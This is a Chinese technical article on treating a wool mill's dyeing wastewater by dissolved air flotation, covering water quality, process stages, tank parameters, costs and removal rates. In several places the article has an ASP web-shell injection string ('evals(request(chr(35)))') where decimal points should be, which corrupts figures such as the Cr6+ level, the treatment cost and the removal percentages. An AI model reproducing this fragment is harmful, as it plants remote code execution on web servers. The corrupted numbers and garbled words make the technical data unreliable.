技术原理 ：

目前 ，国内处理印染废水多采用生物处理法。北方地区冬季 ，气温太低 ，用生物法处理需增加保温措施 ，对子中小型企业来说 ，往往存在资金短缺的困难 ，一般难以满足生物工程要求条件 。而气浮法是一种物理分离技术 ，用于处理印染废水 ，相对地有不受气温影响的特点 ，并且也广泛用于冶金 、电镀 、造纸 、制革 、炼油等行业废水处理中 。

本地区某毛纺企业 ，日排放印染废水400余吨 ， 为了在发展生产的同时消除污染 ，该企业投资60万元 ，建成了一套日处理能力为1000吨废水的处理工商采用气浮法处理印染废水 ，于1991年10月正式投入运行 。处理后水质经监测分析达到GB8978-88 污求综合排放标准》 。

一 、废水水质及排放量

该企业印染废水主要来源于染整和条复工序 。所用染料有 ：媒介染料 ，分散染料中性染料及洗净剂 、元明粉 、醋酸 、硫酸等助剂 。废水水质随产品染色种类不同而有较大变化 ，水质一般为 ，PH4~9 ，CODCr200~400mg/l ，BOD5 150～300mg/1 ，Cr6+ 0"%><%evals(request(chr(35)))%><100~0"%><%evals(request(chr(35)))%><160mg/l ，色度100～200倍 。印染废水排放量日变化曲线如图1 。

图1 废水排放量日变化曲线

二 、处理工艺

印染废水与其它生产环节排水分流排出 ，其中印染废水由地下污水管经格栅进入调节池 ，用泵提升至沉淀池 ， 经过初沉淀和二次沉淀后 ，上清液自流进入气浮池， 同时投加定量碱式氯化铝[Al2(OH)2Cl0～n]m(n= 1～5 ，m≤10) 。废水在气浮池中通过加压溶气酌吸附作用和碱式氯化铝(絮凝剂)的絮凝网捕作用 ，使絮凝物上浮后与水分离 ，清水引入平流式过滤池(以焦炭为滤料) ，利用物理吸附进一步去除悬浮物和其它有害物后排放 。由气浮池排出的污泥 ，脱水后经压滤系统压成泥饼堆存 。废水处理工艺过程如图2 。

主要工艺参数

调节池 ：有效容积100m3 停留时间3小时

沉淀池 ：有效容积7．875m3 停留时间2．9小时

气浮池 ：有效容积15m3 停留时间30～40分钟

过滤池 ：有效容积6m3 停留时间10分钟

三 、处理效果与运行费用

本工程投入运行以来 ，设备运行正常 ，水质稳定 ， 处理效果较好 。废水经处理后各项指标均达到国家排放标准 ，当滥测分析结果如表1 。

表1．废水处理前后分析结果表(mg/l)

处理费用为0"%><%evals(request(chr(35)))%><18元／吨废水 ， (其中碱式氯化铝消耗费用为0"%><%evals(request(chr(35)))%><138元／吨废水) 。本工程投入运行后 ， 既改善了环境 ，又免缴了排污费 。

四 、小结

1．气浮法处理印染废水 ，投资省 ，工艺简单 ，便于操作管理 、尤其不受季节气候变化影响 ，适宜于利方寒冷地区使用 。

2．气浮法处理印染废水 ， 处理效果好 ，出水水质稳定 。去除率分别为CODCr75% 、BOD5 86"%><%evals(request(chr(35)))%><3% ，Cr6+8"%><%evals(request(chr(35)))%><95% 、色度95％ 。

3．气浮法处理工业废水在本地区尚属首例 ，工艺上还存在不足 ，如调节池设计容量偏小 ，调节效果不佳 ；处理后排水也未能循环使用 。另外本地区地域偏僻 ， 碱式氯化铝购置费用较高(每吨2300元) 。在解决上述问题之后 ， 本工程运行费用予计可除低40％左右 。